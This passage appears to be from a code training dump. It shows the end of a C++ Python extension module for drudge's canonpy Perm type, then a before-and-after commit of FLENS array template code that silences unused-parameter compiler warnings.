Accessors for Perms.\n *\n * The accompanied action query is made here.\n *\/\n\n\/\/ clang-format off\nstatic PyGetSetDef perm_getsets[] = {\n    { \"acc\", (getter)perm_get_acc, NULL, \"The accompanied action.\", NULL },\n    { NULL }\n};\n\/\/ clang-format on\n\n\/** Perm type doc string.\n  *\/\n\nstatic const char* perm_doc =\n    R\"__doc__(Permutation of points with accompanied action.\n\nPermutations can be constructed from an iterable giving the pre-image of the\npoints and an optional integral value for the accompanied action.  The\naccompanied action can be given positionally or by the keyword ``acc``, and it\nwill be manipulated according to the convention in libcanon.\n\nQuerying the length of a Perm object gives the size of the permutation domain,\nwhile indexing it gives the pre-image of the given integral point.  The\naccompanied action can be obtained by getting the attribute ``acc``.\nOtherwise, this data type is mostly opaque.\n\n)__doc__\";\n\n\/** Type definition for Perm class.\n *\/\n\n\/\/ clang-format off\nstatic PyTypeObject perm_type = {\n    PyVarObject_HEAD_INIT(NULL, 0)\n    \"drudge.canonpy.Perm\",\n    sizeof(Perm_object),\n    0,\n    (destructor) perm_dealloc,                  \/* tp_dealloc *\/\n    0,                                          \/* tp_print *\/\n    0,                                          \/* tp_getattr *\/\n    0,                                          \/* tp_setattr *\/\n    0,                                          \/* tp_reserved *\/\n    (reprfunc) perm_repr,                       \/* tp_repr *\/\n    0,                                          \/* tp_as_number *\/\n    &perm_as_sequence,                          \/* tp_as_sequence *\/\n    0,                                          \/* tp_as_mapping *\/\n    0,                                          \/* tp_hash *\/\n    0,                                          \/* tp_call *\/\n    0,                                          \/* tp_str *\/\n    0, \/* In main. *\/                           \/* tp_getattro *\/\n    0,                                          \/* tp_setattro *\/\n    0,                                          \/* tp_as_buffer *\/\n    Py_TPFLAGS_DEFAULT,                         \/* tp_flags *\/\n    perm_doc,                                   \/* tp_doc *\/\n    0,                                          \/* tp_traverse *\/\n    0,                                          \/* tp_clear *\/\n    0,                                          \/* tp_richcompare *\/\n    0,                                          \/* tp_weaklistoffset *\/\n    0,                                          \/* tp_iter *\/\n    0,                                          \/* tp_iternext *\/\n    perm_methods,                               \/* tp_methods *\/\n    0,                                          \/* tp_members *\/\n    perm_getsets,                               \/* tp_getset *\/\n    0,                                          \/* tp_base *\/\n    0,                                          \/* tp_dict *\/\n    0,                                          \/* tp_descr_get *\/\n    0,                                          \/* tp_descr_set *\/\n    0,                                          \/* tp_dictoffset *\/\n    0,                                          \/* tp_init *\/\n    0,                                          \/* tp_alloc *\/\n    perm_new,                                   \/* tp_new *\/\n    0,                                          \/* tp_free *\/\n};\n\/\/ clang-format on\n\n\/\/\n\/\/ Python module definition\n\/\/ ========================\n\/\/\n\n\/** Docstring for the canonpy module.\n *\/\n\nstatic const char* canonpy_docstring\n    = R\"__doc__(Canonpy, simple wrapper over libcanon for Python.\n\nThis wrapper of libcanon is directly targeted towards usage using drudge.\nHere, we have a class `Perm`, which wraps over the `Simple_perm` class in\nlibcanon, another class `SimsTransv`, which wraps over the `Sims_trasv` class\nfor `Simple_perm`.  And we also have the function `canon_eldag` to canonicalize\nan Eldag.\n\n)__doc__\";\n\n\/** Methods in the canonpy module.\n *\/\n\nstatic PyMethodDef canonpy_methods[] = { { NULL, NULL, 0, NULL } };\n\n\/** Executes the initialization of the canonpy module.\n *\/\n\nstatic int canonpy_exec(PyObject* m)\n{\n    \/\/\n    \/\/ Add the class for Perm.\n    \/\/\n\n    perm_type.tp_getattro = PyObject_GenericGetAttr;\n    if (PyType_Ready(&perm_type) < 0)\n        return -1;\n    Py_INCREF(&perm_type);\n    PyModule_AddObject(m, \"Perm\", (PyObject*)&perm_type);\n\n    return 0;\n}\n\n\/** Slots for for canonpy module definition.\n *\/\n\nstatic struct PyModuleDef_Slot canonpy_slots[] = {\n    { Py_mod_exec, (void*)canonpy_exec }, { 0, NULL },\n};\n\n\/** Canonpy module definition.\n *\/\n\n\/\/ clang-format off\n\nstatic struct PyModuleDef canonpy_module = {\n    PyModuleDef_HEAD_INIT,\n    \"drudge.canonpy\",\n    canonpy_docstring,\n    0, \/\/ m-size\n    canonpy_methods,\n    canonpy_slots,\n    NULL, \/\/ Transverse\n    NULL, \/\/ Clear\n    NULL  \/\/ Free\n};\n\n\/\/ clang-format on\n\n\/** The published canonpy function.\n *\/\n\nPyMODINIT_FUNC PyInit_canonpy(void)\n{\n    return PyModuleDef_Init(&canonpy_module);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *   Copyright (c) 2007, Michael Lehn\n *\n *   All rights reserved.\n *\n *   Redistribution and use in source and binary forms, with or without\n *   modification, are permitted provided that the following conditions\n *   are met:\n *\n *   1) Redistributions of source code must retain the above copyright\n *      notice, this list of conditions and the following disclaimer.\n *   2) Redistributions in binary form must reproduce the above copyright\n *      notice, this list of conditions and the following disclaimer in\n *      the documentation and\/or other materials provided with the\n *      distribution.\n *   3) Neither the name of the FLENS development group nor the names of\n *      its contributors may be used to endorse or promote products derived\n *      from this software without specific prior written permission.\n *\n *   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n *   \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n *   LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n *   A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n *   OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n *   SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n *   LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n *   DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n *   THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n *   (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n *   OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <cassert>\n#include <flens\/blas.h>\n#include <flens\/refcounter.h>\n#include <flens\/hacksforgmpxx.h>\n\nnamespace flens {\n\n\/\/== ConstArrayView ============================================================\n\ntemplate <typename T>\nConstArrayView<T>::ConstArrayView(const void *storage,\n                                  const T *data,\n                                  int length,\n                                  int stride,\n                                  int firstIndex)\n    : _storage(storage),\n      _data(data),\n      _length(length),\n      _stride(stride),\n      _firstIndex(firstIndex)\n{\n    RefCounter::attach(_storage);\n}\n\ntemplate <typename T>\nConstArrayView<T>::ConstArrayView(const NoView &rhs)\n    : _storage(rhs.data()),\n      _data(rhs.data()-rhs.firstIndex()),\n      _length(rhs.length()),\n      _stride(rhs.stride()),\n      _firstIndex(rhs.firstIndex())\n{\n    RefCounter::attach(_storage);\n}\n\ntemplate <typename T>\nConstArrayView<T>::ConstArrayView(const ConstArrayView &rhs)\n    : _storage(rhs._storage),\n      _data(rhs._data),\n      _length(rhs._length),\n      _stride(rhs._stride),\n      _firstIndex(rhs._firstIndex)\n{\n    RefCounter::attach(_storage);\n}\n\ntemplate <typename T>\nConstArrayView<T>::ConstArrayView(const ArrayView<T> &rhs)\n    : _storage(rhs.storage()),\n      _data(rhs.data()-rhs.firstIndex()),\n      _length(rhs.length()),\n      _stride(rhs.stride()),\n      _firstIndex(rhs.firstIndex())\n{\n    RefCounter::attach(_storage);\n}\n\ntemplate <typename T>\nConstArrayView<T>::~ConstArrayView()\n{\n    if (RefCounter::detach(_storage)) {\n        assert(0);  \/\/ Const view can not free memory\n    }\n}\n\ntemplate <typename T>\nconst T &\nConstArrayView<T>::operator()(int index) const\n{\n    assert(index>=_firstIndex);\n    assert(index<_firstIndex+_length);\n\n    return _data[_firstIndex + _stride*(index-_firstIndex)];\n}\n\ntemplate <typename T>\nint\nConstArrayView<T>::firstIndex() const\n{\n    return _firstIndex;\n}\n\ntemplate <typename T>\nint\nConstArrayView<T>::lastIndex() const\n{\n    return _firstIndex+_length-1;\n}\n\ntemplate <typename T>\nint\nConstArrayView<T>::length() const\n{\n    return _length;\n}\n\ntemplate <typename T>\nint\nConstArrayView<T>::stride() const\n{\n    return _stride;\n}\n\ntemplate <typename T>\nconst T *\nConstArrayView<T>::data() const\n{\n    return &_data[_firstIndex];\n}\n\ntemplate <typename T>\nconst void *\nConstArrayView<T>::storage() const\n{\n    return _storage;\n}\n\ntemplate <typename T>\nConstArrayView<T>\nConstArrayView<T>::view(int from, int to, int stride, int firstViewIndex) const\n{\n    assert(from<=to);\n    assert(stride>=1);\n    return ConstArrayView<T>(_storage,                             \/\/ storage\n                             &(this->operator()(from))-_firstIndex,\/\/ data\n                             (to-from)\/stride+1,                   \/\/ length\n                             stride*_stride,                       \/\/ stride\n                             firstViewIndex);                     \/\/ firstIndex\n}\n\n\/\/== ArrayView =================================================================\n\ntemplate <typename T>\nArrayView<T>::ArrayView(void *storage,\n                        T *data,\n                        int length,\n                        int stride,\n                        int firstIndex)\n    : _storage(storage),\n      _data(data),\n      _length(length),\n      _stride(stride),\n      _firstIndex(firstIndex)\n{\n    RefCounter::attach(_storage);\n}\n\ntemplate <typename T>\nArrayView<T>::ArrayView(const ArrayView &rhs)\n    : _storage(rhs._storage),\n      _data(rhs._data),\n      _length(rhs._length),\n      _stride(rhs._stride),\n      _firstIndex(rhs._firstIndex)\n{\n    RefCounter::attach(_storage);\n}\n\ntemplate <typename T>\nArrayView<T>::~ArrayView()\n{\n    if (RefCounter::detach(_storage)) {\n        free(_storage);\n    }\n}\n\ntemplate <typename T>\nArrayView<T> &\nArrayView<T>::operator=(const Array<T> &rhs)\n{\n    assert(length()==rhs.length());\n    copy(length(), rhs.data(), rhs.stride(), data(), stride());\n    return *this;\n}\n\ntemplate <typename T>\nArrayView<T> &\nArrayView<T>::operator=(const ArrayView<T> &rhs)\n{\n    if (this!=&rhs) {\n        assert(length()==rhs.length());\n        copy(length(), rhs.data(), rhs.stride(), data(), stride());\n    }\n    return *this;\n}\n\ntemplate <typename T>\nArrayView<T> &\nArrayView<T>::operator=(const ConstArrayView<T> &rhs)\n{\n    assert(length()==rhs.length());\n    copy(length(), rhs.data(), rhs.stride(), data(), stride());\n    return *this;\n}\n\ntemplate <typename T>\nconst T &\nArrayView<T>::operator()(int index) const\n{\n    assert(index>=_firstIndex);\n    assert(index<_firstIndex+_length);\n\n    return _data[_firstIndex + _stride*(index-_firstIndex)];\n}\n\ntemplate <typename T>\nT &\nArrayView<T>::operator()(int index)\n{\n    assert(index>=_firstIndex);\n    assert(index<_firstIndex+_length);\n\n    return _data[_firstIndex + _stride*(index-_firstIndex)];\n}\n\ntemplate <typename T>\nint\nArrayView<T>::firstIndex() const\n{\n    return _firstIndex;\n}\n\ntemplate <typename T>\nint\nArrayView<T>::lastIndex() const\n{\n    return _firstIndex+_length-1;\n}\n\ntemplate <typename T>\nint\nArrayView<T>::length() const\n{\n    return _length;\n}\n\ntemplate <typename T>\nint\nArrayView<T>::stride() const\n{\n    return _stride;\n}\n\ntemplate <typename T>\nconst T *\nArrayView<T>::data() const\n{\n    return &_data[_firstIndex];\n}\n\ntemplate <typename T>\nT *\nArrayView<T>::data()\n{\n    return &_data[_firstIndex];\n}\n\ntemplate <typename T>\nconst void *\nArrayView<T>::storage() const\n{\n    return _storage;\n}\n\ntemplate <typename T>\nvoid\nArrayView<T>::resize(int length, int firstIndex)\n{\n    assert((length==_length) && (firstIndex==_firstIndex));\n}\n\ntemplate <typename T>\nvoid\nArrayView<T>::resizeOrClear(int length, int firstIndex)\n{\n    assert((length==_length) && (firstIndex==_firstIndex));\n    std::fill_n(this->data(), _length, T(0));\n}\n\ntemplate <typename T>\nConstArrayView<T>\nArrayView<T>::view(int from, int to, int stride, int firstViewIndex) const\n{\n    assert(from<=to);\n    assert(stride>=1);\n    return ConstArrayView<T>(_storage,                             \/\/ storage\n                             &(this->operator()(from))-_firstIndex,\/\/ data\n                             (to-from)\/stride+1,                   \/\/ length\n                             stride*_stride,                       \/\/ stride\n                             firstViewIndex);\n}\n\ntemplate <typename T>\nArrayView<T>\nArrayView<T>::view(int from, int to, int stride, int firstViewIndex)\n{\n    assert(from<=to);\n    assert(stride>=1);\n    return ArrayView<T>(_storage,                              \/\/ storage\n                        &(this->operator()(from))-_firstIndex, \/\/ data\n                        (to-from)\/stride+1,                    \/\/ length\n                        stride*_stride,                        \/\/ stride\n                        firstViewIndex);\n}\n\ntemplate <typename T>\nvoid\nArrayView<T>::shiftIndexTo(int firstIndex)\n{\n    assert(_firstIndex==firstIndex);\n}\n\n\n\/\/== Array =====================================================================\n\ntemplate <typename T>\nArray<T>::Array()\n    : _length(0), _firstIndex(0), _data(0)\n{\n}\n\ntemplate <typename T>\nArray<T>::Array(int length, int firstIndex)\n    : _length(length), _firstIndex(firstIndex), _data(0)\n{\n    _allocate();\n}\n\ntemplate <typename T>\nArray<T>::Array(const Array<T> &rhs)\n    : _length(rhs.length()), _firstIndex(rhs.firstIndex()), _data(0)\n{\n    _allocate();\n    copy(length(), rhs.data(), rhs.stride(), data(), stride());\n}\n\ntemplate <typename T>\nArray<T>::Array(const ArrayView<T> &rhs)\n    : _length(rhs.length()), _firstIndex(rhs.firstIndex()), _data(0)\n{\n    _allocate();\n    copy(length(), rhs.data(), rhs.stride(), data(), stride());\n}\n\ntemplate <typename T>\nArray<T>::Array(const ConstArrayView<T> &rhs)\n    : _length(rhs.length()), _firstIndex(rhs.firstIndex()), _data(0)\n{\n    _allocate();\n    copy(length(), rhs.data(), rhs.stride(), data(), stride());\n}\n\ntemplate <typename T>\nArray<T>::~Array()\n{\n    _release();\n}\n\ntemplate <typename T>\nArray<T> &\nArray<T>::operator=(const Array<T> &rhs)\n{\n    if (this!=&rhs) {\n        if (length()!=rhs.length()) {\n            resize(rhs.length(), rhs.firstIndex());\n        }\n        copy(length(), rhs.data(), rhs.stride(), data(), stride());\n    }\n    return *this;\n}\n\ntemplate <typename T>\nArray<T> &\nArray<T>::operator=(const ArrayView<T> &rhs)\n{\n    if (length()!=rhs.length()) {\n        resize(rhs.length(), rhs.firstIndex());\n    }\n    copy(length(), rhs.data(), rhs.stride(), data(), stride());\n    return *this;\n}\n\ntemplate <typename T>\nArray<T> &\nArray<T>::operator=(const ConstArrayView<T> &rhs)\n{\n    if (length()!=rhs.length()) {\n        resize(rhs.length(), rhs.firstIndex());\n    }\n    copy(length(), rhs.data(), rhs.stride(), data(), stride());\n    return *this;\n}\n\ntemplate <typename T>\nListInitializer<Array<T> >\nArray<T>::operator=(const T &value)\n{\n    return ListInitializer<Array<T> >(data(), length(), value);\n}\n\ntemplate <typename T>\nconst T &\nArray<T>::operator()(int index) const\n{\n    assert(index>=_firstIndex);\n    assert(index<_firstIndex+_length);\n\n    return _data[index];\n}\n\ntemplate <typename T>\nT &\nArray<T>::operator()(int index)\n{\n    assert(index>=_firstIndex);\n    assert(index<_firstIndex+_length);\n\n    return _data[index];\n}\n\ntemplate <typename T>\nint\nArray<T>::firstIndex() const\n{\n    return _firstIndex;\n}\n\ntemplate <typename T>\nint\nArray<T>::lastIndex() const\n{\n    return _firstIndex+_length-1;\n}\n\ntemplate <typename T>\nint\nArray<T>::length() const\n{\n    return _length;\n}\n\ntemplate <typename T>\nint\nArray<T>::stride() const\n{\n    return 1;\n}\n\ntemplate <typename T>\nconst T *\nArray<T>::data() const\n{\n    return &_data[_firstIndex];\n}\n\ntemplate <typename T>\nT *\nArray<T>::data()\n{\n    return &_data[_firstIndex];\n}\n\ntemplate <typename T>\nvoid\nArray<T>::resize(int length, int firstIndex)\n{\n    if (length!=_length) {\n        _release();\n        _length = length;\n        _firstIndex = firstIndex;\n        _allocate();\n    } else {\n        _data += _firstIndex - firstIndex;\n        _firstIndex = firstIndex;\n    }\n}\n\ntemplate <typename T>\nvoid\nArray<T>::resizeOrClear(int length, int firstIndex)\n{\n    if (length!=_length) {\n        _release();\n        _length = length;\n        _firstIndex = firstIndex;\n        _allocate();\n    } else {\n        _data += _firstIndex - firstIndex;\n        _firstIndex = firstIndex;\n        std::fill_n(this->data(), _length, T(0));\n    }\n}\n\ntemplate <typename T>\nConstArrayView<T>\nArray<T>::view(int from, int to, int stride, int firstViewIndex) const\n{\n    assert(from<=to);\n    assert(stride>=1);\n    return ConstView(data(),                                    \/\/ storage\n                     &(this->operator()(from))-firstViewIndex,  \/\/ data\n                     (to-from)\/stride+1,                        \/\/ length\n                     stride,                                    \/\/ stride\n                     firstViewIndex);                           \/\/ firstIndex\n}\n\ntemplate <typename T>\nArrayView<T>\nArray<T>::view(int from, int to, int stride, int firstViewIndex)\n{\n    assert(from<=to);\n    assert(stride>=1);\n    return View(data(),                                   \/\/ storage\n                &(this->operator()(from))-firstViewIndex, \/\/ data\n                (to-from)\/stride+1,                       \/\/ length\n                stride,                                   \/\/ stride\n                firstViewIndex);                          \/\/ firstIndex\n}\n\ntemplate <typename T>\nvoid\nArray<T>::shiftIndexTo(int firstIndex)\n{\n    _data += _firstIndex - firstIndex;\n    _firstIndex = firstIndex;\n}\n\ntemplate <typename T>\nvoid\nArray<T>::_allocate()\n{\n    assert(!_data);\n    \/\/ TODO: discuss with Michael.\n    if (length()<=0) {\n        return;\n    }\n\n    _data = static_cast<T*>(calloc(_length, sizeof(T)))-_firstIndex;\n    Initializer<Array<T> >::initialize(*this);\n    assert(_data+_firstIndex);\n}\n\ntemplate <typename T>\nvoid\nArray<T>::_release()\n{\n    if (_data) {\n         if (RefCounter::detach(data())) {\n#ifdef GMP\n             T *fp;\n             int i;\n             for (i=0, fp=data(); i<_length; ++i, ++fp) {\n                 (*fp).~T();\n             }\n#endif\n             free(data());\n         }\n         _data=0;\n         _firstIndex = 0;\n    }\n}\n\n} \/\/ namespace flens\n<commit_msg>Quiet compiler warnings in opt mode.<commit_after>\/*\n *   Copyright (c) 2007, Michael Lehn\n *\n *   All rights reserved.\n *\n *   Redistribution and use in source and binary forms, with or without\n *   modification, are permitted provided that the following conditions\n *   are met:\n *\n *   1) Redistributions of source code must retain the above copyright\n *      notice, this list of conditions and the following disclaimer.\n *   2) Redistributions in binary form must reproduce the above copyright\n *      notice, this list of conditions and the following disclaimer in\n *      the documentation and\/or other materials provided with the\n *      distribution.\n *   3) Neither the name of the FLENS development group nor the names of\n *      its contributors may be used to endorse or promote products derived\n *      from this software without specific prior written permission.\n *\n *   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n *   \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n *   LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n *   A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n *   OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n *   SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n *   LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n *   DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n *   THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n *   (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n *   OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <cassert>\n#include <flens\/blas.h>\n#include <flens\/refcounter.h>\n#include <flens\/hacksforgmpxx.h>\n\nnamespace flens {\n\n\/\/== ConstArrayView ============================================================\n\ntemplate <typename T>\nConstArrayView<T>::ConstArrayView(const void *storage,\n                                  const T *data,\n                                  int length,\n                                  int stride,\n                                  int firstIndex)\n    : _storage(storage),\n      _data(data),\n      _length(length),\n      _stride(stride),\n      _firstIndex(firstIndex)\n{\n    RefCounter::attach(_storage);\n}\n\ntemplate <typename T>\nConstArrayView<T>::ConstArrayView(const NoView &rhs)\n    : _storage(rhs.data()),\n      _data(rhs.data()-rhs.firstIndex()),\n      _length(rhs.length()),\n      _stride(rhs.stride()),\n      _firstIndex(rhs.firstIndex())\n{\n    RefCounter::attach(_storage);\n}\n\ntemplate <typename T>\nConstArrayView<T>::ConstArrayView(const ConstArrayView &rhs)\n    : _storage(rhs._storage),\n      _data(rhs._data),\n      _length(rhs._length),\n      _stride(rhs._stride),\n      _firstIndex(rhs._firstIndex)\n{\n    RefCounter::attach(_storage);\n}\n\ntemplate <typename T>\nConstArrayView<T>::ConstArrayView(const ArrayView<T> &rhs)\n    : _storage(rhs.storage()),\n      _data(rhs.data()-rhs.firstIndex()),\n      _length(rhs.length()),\n      _stride(rhs.stride()),\n      _firstIndex(rhs.firstIndex())\n{\n    RefCounter::attach(_storage);\n}\n\ntemplate <typename T>\nConstArrayView<T>::~ConstArrayView()\n{\n    if (RefCounter::detach(_storage)) {\n        assert(0);  \/\/ Const view can not free memory\n    }\n}\n\ntemplate <typename T>\nconst T &\nConstArrayView<T>::operator()(int index) const\n{\n    assert(index>=_firstIndex);\n    assert(index<_firstIndex+_length);\n\n    return _data[_firstIndex + _stride*(index-_firstIndex)];\n}\n\ntemplate <typename T>\nint\nConstArrayView<T>::firstIndex() const\n{\n    return _firstIndex;\n}\n\ntemplate <typename T>\nint\nConstArrayView<T>::lastIndex() const\n{\n    return _firstIndex+_length-1;\n}\n\ntemplate <typename T>\nint\nConstArrayView<T>::length() const\n{\n    return _length;\n}\n\ntemplate <typename T>\nint\nConstArrayView<T>::stride() const\n{\n    return _stride;\n}\n\ntemplate <typename T>\nconst T *\nConstArrayView<T>::data() const\n{\n    return &_data[_firstIndex];\n}\n\ntemplate <typename T>\nconst void *\nConstArrayView<T>::storage() const\n{\n    return _storage;\n}\n\ntemplate <typename T>\nConstArrayView<T>\nConstArrayView<T>::view(int from, int to, int stride, int firstViewIndex) const\n{\n    assert(from<=to);\n    assert(stride>=1);\n    return ConstArrayView<T>(_storage,                             \/\/ storage\n                             &(this->operator()(from))-_firstIndex,\/\/ data\n                             (to-from)\/stride+1,                   \/\/ length\n                             stride*_stride,                       \/\/ stride\n                             firstViewIndex);                     \/\/ firstIndex\n}\n\n\/\/== ArrayView =================================================================\n\ntemplate <typename T>\nArrayView<T>::ArrayView(void *storage,\n                        T *data,\n                        int length,\n                        int stride,\n                        int firstIndex)\n    : _storage(storage),\n      _data(data),\n      _length(length),\n      _stride(stride),\n      _firstIndex(firstIndex)\n{\n    RefCounter::attach(_storage);\n}\n\ntemplate <typename T>\nArrayView<T>::ArrayView(const ArrayView &rhs)\n    : _storage(rhs._storage),\n      _data(rhs._data),\n      _length(rhs._length),\n      _stride(rhs._stride),\n      _firstIndex(rhs._firstIndex)\n{\n    RefCounter::attach(_storage);\n}\n\ntemplate <typename T>\nArrayView<T>::~ArrayView()\n{\n    if (RefCounter::detach(_storage)) {\n        free(_storage);\n    }\n}\n\ntemplate <typename T>\nArrayView<T> &\nArrayView<T>::operator=(const Array<T> &rhs)\n{\n    assert(length()==rhs.length());\n    copy(length(), rhs.data(), rhs.stride(), data(), stride());\n    return *this;\n}\n\ntemplate <typename T>\nArrayView<T> &\nArrayView<T>::operator=(const ArrayView<T> &rhs)\n{\n    if (this!=&rhs) {\n        assert(length()==rhs.length());\n        copy(length(), rhs.data(), rhs.stride(), data(), stride());\n    }\n    return *this;\n}\n\ntemplate <typename T>\nArrayView<T> &\nArrayView<T>::operator=(const ConstArrayView<T> &rhs)\n{\n    assert(length()==rhs.length());\n    copy(length(), rhs.data(), rhs.stride(), data(), stride());\n    return *this;\n}\n\ntemplate <typename T>\nconst T &\nArrayView<T>::operator()(int index) const\n{\n    assert(index>=_firstIndex);\n    assert(index<_firstIndex+_length);\n\n    return _data[_firstIndex + _stride*(index-_firstIndex)];\n}\n\ntemplate <typename T>\nT &\nArrayView<T>::operator()(int index)\n{\n    assert(index>=_firstIndex);\n    assert(index<_firstIndex+_length);\n\n    return _data[_firstIndex + _stride*(index-_firstIndex)];\n}\n\ntemplate <typename T>\nint\nArrayView<T>::firstIndex() const\n{\n    return _firstIndex;\n}\n\ntemplate <typename T>\nint\nArrayView<T>::lastIndex() const\n{\n    return _firstIndex+_length-1;\n}\n\ntemplate <typename T>\nint\nArrayView<T>::length() const\n{\n    return _length;\n}\n\ntemplate <typename T>\nint\nArrayView<T>::stride() const\n{\n    return _stride;\n}\n\ntemplate <typename T>\nconst T *\nArrayView<T>::data() const\n{\n    return &_data[_firstIndex];\n}\n\ntemplate <typename T>\nT *\nArrayView<T>::data()\n{\n    return &_data[_firstIndex];\n}\n\ntemplate <typename T>\nconst void *\nArrayView<T>::storage() const\n{\n    return _storage;\n}\n\ntemplate <typename T>\nvoid\nArrayView<T>::resize(int length, int firstIndex)\n{\n    assert((length == _length) && (firstIndex == _firstIndex));\n    (void) length;\n    (void) firstIndex;\n}\n\ntemplate <typename T>\nvoid\nArrayView<T>::resizeOrClear(int length, int firstIndex)\n{\n    assert((length==_length) && (firstIndex==_firstIndex));\n    std::fill_n(this->data(), _length, T(0));\n}\n\ntemplate <typename T>\nConstArrayView<T>\nArrayView<T>::view(int from, int to, int stride, int firstViewIndex) const\n{\n    assert(from<=to);\n    assert(stride>=1);\n    return ConstArrayView<T>(_storage,                             \/\/ storage\n                             &(this->operator()(from))-_firstIndex,\/\/ data\n                             (to-from)\/stride+1,                   \/\/ length\n                             stride*_stride,                       \/\/ stride\n                             firstViewIndex);\n}\n\ntemplate <typename T>\nArrayView<T>\nArrayView<T>::view(int from, int to, int stride, int firstViewIndex)\n{\n    assert(from<=to);\n    assert(stride>=1);\n    return ArrayView<T>(_storage,                              \/\/ storage\n                        &(this->operator()(from))-_firstIndex, \/\/ data\n                        (to-from)\/stride+1,                    \/\/ length\n                        stride*_stride,                        \/\/ stride\n                        firstViewIndex);\n}\n\ntemplate <typename T>\nvoid\nArrayView<T>::shiftIndexTo(int firstIndex)\n{\n    assert(_firstIndex==firstIndex);\n}\n\n\n\/\/== Array =====================================================================\n\ntemplate <typename T>\nArray<T>::Array()\n    : _length(0), _firstIndex(0), _data(0)\n{\n}\n\ntemplate <typename T>\nArray<T>::Array(int length, int firstIndex)\n    : _length(length), _firstIndex(firstIndex), _data(0)\n{\n    _allocate();\n}\n\ntemplate <typename T>\nArray<T>::Array(const Array<T> &rhs)\n    : _length(rhs.length()), _firstIndex(rhs.firstIndex()), _data(0)\n{\n    _allocate();\n    copy(length(), rhs.data(), rhs.stride(), data(), stride());\n}\n\ntemplate <typename T>\nArray<T>::Array(const ArrayView<T> &rhs)\n    : _length(rhs.length()), _firstIndex(rhs.firstIndex()), _data(0)\n{\n    _allocate();\n    copy(length(), rhs.data(), rhs.stride(), data(), stride());\n}\n\ntemplate <typename T>\nArray<T>::Array(const ConstArrayView<T> &rhs)\n    : _length(rhs.length()), _firstIndex(rhs.firstIndex()), _data(0)\n{\n    _allocate();\n    copy(length(), rhs.data(), rhs.stride(), data(), stride());\n}\n\ntemplate <typename T>\nArray<T>::~Array()\n{\n    _release();\n}\n\ntemplate <typename T>\nArray<T> &\nArray<T>::operator=(const Array<T> &rhs)\n{\n    if (this!=&rhs) {\n        if (length()!=rhs.length()) {\n            resize(rhs.length(), rhs.firstIndex());\n        }\n        copy(length(), rhs.data(), rhs.stride(), data(), stride());\n    }\n    return *this;\n}\n\ntemplate <typename T>\nArray<T> &\nArray<T>::operator=(const ArrayView<T> &rhs)\n{\n    if (length()!=rhs.length()) {\n        resize(rhs.length(), rhs.firstIndex());\n    }\n    copy(length(), rhs.data(), rhs.stride(), data(), stride());\n    return *this;\n}\n\ntemplate <typename T>\nArray<T> &\nArray<T>::operator=(const ConstArrayView<T> &rhs)\n{\n    if (length()!=rhs.length()) {\n        resize(rhs.length(), rhs.firstIndex());\n    }\n    copy(length(), rhs.data(), rhs.stride(), data(), stride());\n    return *this;\n}\n\ntemplate <typename T>\nListInitializer<Array<T> >\nArray<T>::operator=(const T &value)\n{\n    return ListInitializer<Array<T> >(data(), length(), value);\n}\n\ntemplate <typename T>\nconst T &\nArray<T>::operator()(int index) const\n{\n    assert(index>=_firstIndex);\n    assert(index<_firstIndex+_length);\n\n    return _data[index];\n}\n\ntemplate <typename T>\nT &\nArray<T>::operator()(int index)\n{\n    assert(index>=_firstIndex);\n    assert(index<_firstIndex+_length);\n\n    return _data[index];\n}\n\ntemplate <typename T>\nint\nArray<T>::firstIndex() const\n{\n    return _firstIndex;\n}\n\ntemplate <typename T>\nint\nArray<T>::lastIndex() const\n{\n    return _firstIndex+_length-1;\n}\n\ntemplate <typename T>\nint\nArray<T>::length() const\n{\n    return _length;\n}\n\ntemplate <typename T>\nint\nArray<T>::stride() const\n{\n    return 1;\n}\n\ntemplate <typename T>\nconst T *\nArray<T>::data() const\n{\n    return &_data[_firstIndex];\n}\n\ntemplate <typename T>\nT *\nArray<T>::data()\n{\n    return &_data[_firstIndex];\n}\n\ntemplate <typename T>\nvoid\nArray<T>::resize(int length, int firstIndex)\n{\n    if (length!=_length) {\n        _release();\n        _length = length;\n        _firstIndex = firstIndex;\n        _allocate();\n    } else {\n        _data += _firstIndex - firstIndex;\n        _firstIndex = firstIndex;\n    }\n}\n\ntemplate <typename T>\nvoid\nArray<T>::resizeOrClear(int length, int firstIndex)\n{\n    if (length!=_length) {\n        _release();\n        _length = length;\n        _firstIndex = firstIndex;\n        _allocate();\n    } else {\n        _data += _firstIndex - firstIndex;\n        _firstIndex = firstIndex;\n        std::fill_n(this->data(), _length, T(0));\n    }\n}\n\ntemplate <typename 